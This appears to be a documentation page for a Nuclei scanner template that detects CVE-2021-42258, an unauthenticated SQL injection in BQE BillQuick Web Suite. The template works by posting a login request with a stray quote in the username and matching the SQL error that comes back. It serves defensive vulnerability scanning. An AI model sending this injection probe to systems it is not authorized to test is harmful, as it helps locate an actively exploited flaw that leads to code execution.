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BillQuick Web Suite SQL Injection

ID: CVE-2021-42258

Severity: critical

Author: dwisiswant0

Tags: cve2021,cve,sqli,billquick,kev,bqe

Description

Section titled “Description”

BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.

YAML Source

Section titled “YAML Source”
id: CVE-2021-42258


info:
  name: BillQuick Web Suite SQL Injection
  author: dwisiswant0
  severity: critical
  description: BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1 allows SQL injection for unauthenticated remote code execution. Successful exploitation can include the ability to execute arbitrary code as MSSQLSERVER$ via xp_cmdshell.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to fix the SQL Injection vulnerability in the BillQuick Web Suite.
  reference:
    - https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42258
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42258
    cwe-id: CWE-89
    epss-score: 0.9738
    epss-percentile: 0.99901
    cpe: cpe:2.3:a:bqe:billquick_web_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bqe
    product: billquick_web_suite
  tags: cve2021,cve,sqli,billquick,kev,bqe


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded


        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96


    matchers:
      - type: word
        part: body
        words:
          - "System.Data.SqlClient.SqlException"
          - "Incorrect syntax near"
          - "_ACCOUNTLOCKED"
        condition: and


    extractors:
      - type: xpath
        name: VS
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__VIEWSTATE']"
        attribute: value


      - type: xpath
        name: VSG
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
        attribute: value


      - type: xpath
        name: EV
        internal: true
        xpath:
          - "/html/body/form/div/input[@id='__EVENTVALIDATION']"
        attribute: value
# digest: 4a0a0047304502204bc05c604d0e50868f15a1944320c1b98547461a1692202df72790762aec1220022100f061ce1f685d22c0ca244ac344bd0aa6ffce6a7ae2d06cf4d5331b761586071f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42258.yaml"

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